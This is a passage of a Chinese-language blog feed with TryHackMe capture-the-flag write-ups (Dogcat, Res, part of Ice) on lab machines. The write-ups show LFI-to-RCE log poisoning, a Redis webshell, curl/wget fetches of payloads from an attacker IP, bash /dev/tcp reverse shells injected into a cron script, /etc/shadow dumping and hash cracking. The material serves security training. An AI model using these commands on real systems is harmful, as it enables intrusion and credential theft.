&lt;li&gt;在上方路徑處輸入 &lt;code&gt;cmd&lt;/code&gt; 或 &lt;code&gt;C:\Windows\System32\cmd.exe&lt;/code&gt; 並按下 Enter- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/83632-z4jjJct.png"&gt;&lt;/li&gt;
&lt;li&gt;會跳出一個 cmd 框框，而且是用 system 權限執行起來的- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d3745-YEuzHEM.png"&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;提權完成Now that we&amp;rsquo;ve spawned a terminal, let&amp;rsquo;s go ahead and run the command &amp;lsquo;whoami&amp;rsquo;. What is the output of running this?- &lt;code&gt;nt authority\system&lt;/code&gt;接下來就可以到 admin 資料夾的桌面領 root flag ㄌ- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e1c59-DyvTkgT.png"&gt;Now that we&amp;rsquo;ve confirmed that we have an elevated prompt, read the contents of root.txt on the Administrator&amp;rsquo;s desktop. What are the contents? Keep your terminal up after exploitation so we can use it in task four!- &lt;code&gt;THM{COIN_OPERATED_EXPLOITATION}&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Dogcat (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/02/dogcat-try-hack-me-writeup/</link><pubDate>Mon, 02 Aug 2021 23:59:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/02/dogcat-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/dogcat"&gt;https://tryhackme.com/room/dogcat&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP: 10.10.221.153&lt;br&gt;
第一次打 Medium 的題目&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;先用老梗 &lt;code&gt;nmap -A 10.10.221.153&lt;/code&gt;發現只有開 80 跟 22dirsearch- 發現基本上都沒有東西 QQ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="瀏覽器亂逛"&gt;瀏覽器亂逛&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://10.10.221.153/&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/53275-60cFGhz.png"&gt;&lt;/li&gt;
&lt;li&gt;會發現可以選狗勾或貓貓選貓貓會出現&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/97754-JGEBCKB.png"&gt;&lt;/li&gt;
&lt;li&gt;網址是 &lt;code&gt;http://10.10.221.153/?view=cat&lt;/code&gt;選狗勾- 網址是 &lt;code&gt;http://10.10.221.153/?view=dog&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;del&gt;不要問我為什麼不幫狗勾截圖&lt;/del&gt;嘗試 LFI- 這邊可以套一個 php 的 LFI 老梗 PHP Wrapper&lt;code&gt;http://10.10.221.153/?view=php://filter/convert.base64-encode/resource=cat&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cfee8-IaYSGCc.png"&gt;&lt;/li&gt;
&lt;li&gt;可以發現成功噴出了一堆 base64&lt;code&gt;PGltZyBzcmM9ImNhdHMvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;解碼後發現是 &lt;code&gt;.jpg&amp;quot; /&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;而同理解碼狗勾是 &lt;code&gt;.jpg&amp;quot; /&amp;gt;&lt;/code&gt;繞狗勾- 假設我們想要看 &lt;code&gt;/etc/passwd``http://10.10.221.153/?view=php://filter/convert.base64-encode/resource=/etc/passwd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/59c56-V6btRdB.png"&gt;&lt;/li&gt;
&lt;li&gt;他會說 &lt;code&gt;Sorry, only dogs or cats are allowed.&lt;/code&gt;而如果我們輸入 &lt;code&gt;/etc/passwddog&lt;/code&gt;- 他會回傳 &lt;code&gt;Here you go!&lt;/code&gt; 但是噴一些錯誤&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8148b-BIxMS50.png"&gt;&lt;/li&gt;
&lt;li&gt;因為找不到檔案，所以錯誤很合理那我們嘗試亂寫奇怪的路徑看看- &lt;code&gt;http://10.10.221.153/?view=php://filter/convert.base64-encode/resource=./dog/../dog&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;會發現可以成功開啟狗勾嘗試觀察 &lt;code&gt;index.php&lt;/code&gt; 內容 這邊只截錄重點&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;可以發現參數 &lt;code&gt;ext&lt;/code&gt; 很重要我們可以透過給予 &lt;code&gt;ext&lt;/code&gt; 空白繞過副檔名任意 LFI- &lt;code&gt;http://10.10.221.153/?ext=&amp;amp;view=php://filter/convert.base64-encode/resource=./dog/../index.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://10.10.221.153/?ext=&amp;amp;view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../etc/passwd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://10.10.221.153/?ext=&amp;amp;view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../etc/apache2/apache2.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://10.10.221.153/?ext=&amp;amp;view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../var/log/apache2/access.log&lt;/code&gt;可以發現 &lt;code&gt;access.log&lt;/code&gt; 可讀&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9242b-ll0cYjt.png"&gt;&lt;/li&gt;
&lt;li&gt;可以透過 &lt;code&gt;access.log&lt;/code&gt; 來做到 LFI 2 RCELFI 2 RCE- 如果在瀏覽器輸入這個&lt;code&gt;10.10.221.153?A=&lt;/code&gt;在 log 上會變成這樣- &lt;code&gt;/?A=%3C?php%20phpinfo();%20?%3C/php%3E&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;主要是因為 HTTP 會做到 URL Encode所以可以用 nc- &lt;code&gt;nc 10.10.221.153 80&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /MEOW?&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/61b12-JXxg8vP.png"&gt;成功!寫入 webshell- &lt;code&gt;nc 10.10.221.153 80&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /MEOW?&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d7432-o2cJEwA.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://10.10.221.153/?ext=&amp;amp;view=./dog/../../../../../../../var/log/apache2/access.log&amp;amp;A=curl%20-o%20/tmp/s%20http://10.13.21.55:8000/s&lt;/code&gt;載入 reverse shell&lt;/li&gt;
&lt;li&gt;在這邊發現這台電腦沒有 wget，所以用 curl&lt;code&gt;http://10.10.221.153/?ext=&amp;amp;view=./dog/../../../../../../../var/log/apache2/access.log&amp;amp;A=bash%20/tmp/s&lt;/code&gt;- 執行 reverse shell&lt;/li&gt;
&lt;li&gt;本地 &lt;code&gt;nc -vlk 7877&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;就可以順利接到 Shell ㄌ!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="shell"&gt;Shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;在&lt;code&gt;/var/www/flag.php&lt;/code&gt;可以找到 flag1&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6d0ed-1HiNozU.png"&gt;在 &lt;code&gt;/var/www/flag.php&lt;/code&gt;- 可以找到 flag2&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/929e3-rYiIpeP.png"&gt;嘗試提權- 輸入 &lt;code&gt;sudo -l&lt;/code&gt; 可以發現我們可以用 root 來 run &lt;code&gt;/usr/bin/env&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d41a4-ELIv9bq.png"&gt;這邊有兩種用法&lt;code&gt;/usr/bin/env ls /root&lt;/code&gt;就可以用 roo 來 &lt;code&gt;ls /root&lt;/code&gt;也可以參考 gtfobins- 有 suid 的 env&lt;/li&gt;
&lt;li&gt;&lt;code&gt;env /usr/bin/sh -p&lt;/code&gt;取得 root flag (flag3)- &lt;code&gt;THM{D1ff3r3nt_3nv1ronments_874112}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="docker-提權"&gt;Docker 提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;不管了，先老梗的 linpeas 下去&lt;code&gt;curl -o linpeas.sh 10.13.21.55:8000/linpeas.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/bin/env /tmp/linpeas.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d7cdf-PlO1XxZ.png"&gt;可以發現根目錄有 &lt;code&gt;/.dockerenv&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;確定目前我們在docker中發現備份檔案- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/df514-DXOTRMs.png"&gt;&lt;/li&gt;
&lt;li&gt;發現有 &lt;code&gt;backup.tar&lt;/code&gt; 跟 &lt;code&gt;backup.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;試著把檔案複製到 &lt;code&gt;/var/www/html&lt;/code&gt; 來準備下載&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/be9b6-gZ2rLz8.png"&gt;下載並觀察備份檔案- &lt;code&gt;wget http://10.10.221.153/backup.tar&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tar xf backup.tar&lt;/code&gt;觀察 Docker File- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cbdc7-M4K7rpx.png"&gt;發現沒什麼特別&lt;/li&gt;
&lt;li&gt;但也發現為什麼 access log 一直有噴一個 &lt;code&gt;127.0.0.1&lt;/code&gt; 的 curl觀察 &lt;code&gt;launch.sh&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6d52c-U0Sdayw.png"&gt;&lt;/li&gt;
&lt;li&gt;發現重點!!&lt;/li&gt;
&lt;li&gt;他把 &lt;code&gt;/opt/backup&lt;/code&gt; 掛載到本地的&lt;code&gt;/root/container/backup&lt;/code&gt;所以我在 &lt;code&gt;/opt/backup&lt;/code&gt; 寫資料會跑到本地端那問題就只剩下，我們怎麼讓本地執行觀察 &lt;code&gt;backup.sh&lt;/code&gt;- 發現裡面就 &lt;code&gt;tar cf /root/container/backup/backup.tar /root/container&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;但……本地端是怎麼執行的ㄋ??&lt;/li&gt;
&lt;li&gt;突然發現上面的 &lt;code&gt;backup.tar&lt;/code&gt; 就剛好是當前時間!所以可以推測說在遠端有一個 cron job寫入 &lt;code&gt;backup.sh&lt;/code&gt;- 戳一個 reverse shell&lt;code&gt;echo &amp;quot;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.13.21.55/7878 0&amp;gt;&amp;amp;1'&amp;quot; &amp;gt;&amp;gt; backup.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a40e8-i6PxwrU.png"&gt;本地端開 &lt;code&gt;nc -vlk 7878&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/345f2-J26jyNB.png"&gt;拿到本地 root shell! (flag4)- &lt;code&gt;THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Res (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/01/res-try-hack-me-writeup/</link><pubDate>Sun, 01 Aug 2021 13:13:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/01/res-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/res"&gt;https://tryhackme.com/room/res&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.149.195&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;先來老梗的 &lt;code&gt;nmap -A 10.10.149.195``Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 01:29 EDT Nmap scan report for 10.10.149.195 Host is up (0.29s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works ![](https://i.imgur.com/3PG5lnw.png)``python3 dirsearch.py -u http://10.10.149.195/ -e all&lt;/code&gt;- 發現完全沒東西Scan the machine, how many ports are open?- 理論上要掃全部的 port&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nmap -p- 10.10.149.195&lt;/code&gt;雖然很有效果，但很浪費時間 QQ&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/64807-pXT3iBK.png"&gt;掃ㄌ將近 20 分鐘QQ因為喵到下面說 port 是 &lt;code&gt;****&lt;/code&gt;- 所以我猜測是 &lt;code&gt;1000~9999&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nmap -p 1000-9999 10.10.149.195&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e56a1-DOdP5oL.png"&gt;答案 &lt;code&gt;6379&lt;/code&gt;~其實這題題目跟 logo 就很明顯ㄌ~~Scan the machine, how many ports are open?- 2 個 port&lt;/li&gt;
&lt;li&gt;80 與 6379What&amp;rsquo;s is the database management system installed on the server?- 6379 是 &lt;code&gt;redis&lt;/code&gt;What port is the database management system running on?- &lt;code&gt;6379&lt;/code&gt;What&amp;rsquo;s is the version of management system installed on the server?- &lt;code&gt;nmap -p6379 -A 10.10.149.195&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cc864-U3zpxcL.png"&gt;&lt;/li&gt;
&lt;li&gt;可以看到是 &lt;code&gt;6.0.7&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;嘗試 Google 過，找不到這個版本的 Exploit&lt;/li&gt;
&lt;li&gt;找不到 exploit&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="寫入-shell"&gt;寫入 shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 redis cli 連上&lt;code&gt;redis-cli -h 10.10.149.195&lt;/code&gt;進行連線&lt;code&gt;config set dir &amp;quot;/var/www/html&amp;quot;``config set dbfilename meow.php``set x &amp;quot;\r\n\r\n\r\n\r\n&amp;quot;``save&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ec588-JcdaDCJ.png"&gt;成功寫入 phpinfo寫入 web shell- &lt;code&gt;config set dbfilename shell.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set x &amp;quot;\r\n\r\n\r\n\r\n&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;save&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/685ff-O4CuqmG.png"&gt;成功寫入 webshell 且可以使用 ls上傳 reverse shell- 本地端準備&lt;code&gt;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.13.21.55/7877 0&amp;gt;&amp;amp;1'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;存在 &lt;code&gt;s&lt;/code&gt; 檔案中&lt;/li&gt;
&lt;li&gt;並使用 &lt;code&gt;python3 -m http.server&lt;/code&gt; 開啟網頁伺服器&lt;code&gt;http://10.10.149.195/shell.php?A=wget 10.13.21.55:8000/s -O /tmp/s&lt;/code&gt;- 把檔案存下來&lt;code&gt;http://10.10.149.195/shell.php?A=cat%20/tmp/s&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9a85b-4NSeNM8.png"&gt;&lt;/li&gt;
&lt;li&gt;確認寫入正常執行 reverse shell- 本地端準備 &lt;code&gt;nc -vlk 7877&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;訪問 &lt;code&gt;http://10.10.149.195/shell.php?A=bash%20/tmp/s&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b1ff7-yg4T57M.png"&gt;&lt;/li&gt;
&lt;li&gt;成功接上 reverse shell本地亂逛- &lt;code&gt;python -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;互動式 bash尋找 user flag- 檔案在 &lt;code&gt;/home/vianka/user.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/754d9-8fMHD4J.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;thm{red1s_rce_w1thout_credent1als}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Linpeas&lt;code&gt;wget 10.13.21.55:8000/linpeas.sh&lt;/code&gt;下載 linpeas&lt;code&gt;bash linpeas.sh | tee out.txt&lt;/code&gt;- 執行發現有標顏色的 suid- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6aed7-ns4piX0.png"&gt;&lt;/li&gt;
&lt;li&gt;xxdsuid xxd 提權- gtfobins 找到 suid xxd 讀檔https://gtfobins.github.io/gtfobins/xxd/#suid要破解密碼的話可以破 &lt;code&gt;/etc/shadow&lt;/code&gt; 的 hash- &lt;code&gt;LFILE=/etc/shadow&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xxd &amp;quot;$LFILE&amp;quot; | xxd -r&lt;/code&gt;可以順利回傳 &lt;code&gt;/etc/shadow&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ea827-nxX3vgl.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vianka:$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0:18507:0:99999:7:::&lt;/code&gt;爆破密碼- 複製 vianka 的 hash 到本地端&lt;/li&gt;
&lt;li&gt;呼叫約翰&lt;code&gt;john j.txt --wordlist=/opt/rockyou.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/67d58-tXqClMc.png"&gt;&lt;/li&gt;
&lt;li&gt;成功破解密碼為 &lt;code&gt;beautiful1&lt;/code&gt;切換使用者- &lt;code&gt;su vianka&lt;/code&gt;切換使用者，並切換密碼為 &lt;code&gt;beautiful1&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/19bb4-xhOUOpr.png"&gt;確認權限- 輸入 &lt;code&gt;sudo -l&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6a515-uDeeXfv.png"&gt;&lt;/li&gt;
&lt;li&gt;發現使用者可以用 &lt;code&gt;sudo&lt;/code&gt;使用 &lt;code&gt;sudo su&lt;/code&gt; 切換到 root成功取得 root flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6e9b0-pzGRECw.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Ice (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/07/31/ice-try-hack-me-writeup/</link><pubDate>Sat, 31 Jul 2021 23:59:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/07/31/ice-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL: &lt;a href="https://tryhackme.com/room/ice"&gt;https://tryhackme.com/room/ice&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;題目建議使用 SYN Scanhttps://nmap.org/book/synscan.html&lt;/li&gt;
&lt;li&gt;可以發現指令是 &lt;code&gt;-sS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo nmap -sS 10.10.209.59&lt;/code&gt;需要 root 權限 所以 sudo&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ sudo nmap -sS 10.10.209.59
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[sudo] password for kali:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 08:58 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap scan report for 10.10.209.59
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host is up (0.27s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Not shown: 988 closed ports
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;135/tcp open msrpc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;139/tcp open netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;445/tcp open microsoft-ds
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3389/tcp open ms-wbt-server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;5357/tcp open wsdapi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8000/tcp open http-alt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49152/tcp open unknown
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49153/tcp open unknown
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49154/tcp open unknown
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49158/tcp open unknown
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49159/tcp open unknown
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49160/tcp open unknown
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;不管，還是run一次習慣的 &lt;code&gt;-A&lt;/code&gt; 看看&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo nmap -A 10.10.209.59
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 09:00 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Stats: 0:01:24 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Traceroute Timing: About 32.26% done; ETC: 09:02 (0:00:00 remaining)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap scan report for 10.10.209.59
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host is up (0.28s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Not shown: 988 closed ports
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;135/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;139/tcp open netbios-ssn Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3389/tcp open tcpwrapped
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert: Subject: commonName=Dark-PC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before: 2021-07-30T12:49:58
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_Not valid after: 2022-01-29T12:49:58
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: 2021-07-31T13:02:27+00:00; 0s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/2.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Service Unavailable
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8000/tcp open http Icecast streaming media server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Site doesn&amp;#39;t have a title (text/html).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49152/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49153/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49154/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49158/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49159/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49160/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TCP/IP fingerprint:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS:SCAN(V=7.91%E=4%D=7/31%OT=135%CT=1%CU=30419%PV=Y%DS=4%DC=T%G=Y%TM=610549
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS:E3%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS:=7)OPS(O1=M506NW8ST11%O2=M506NW8ST11%O3=M506NW8NNT11%O4=M506NW8ST11%O5=M
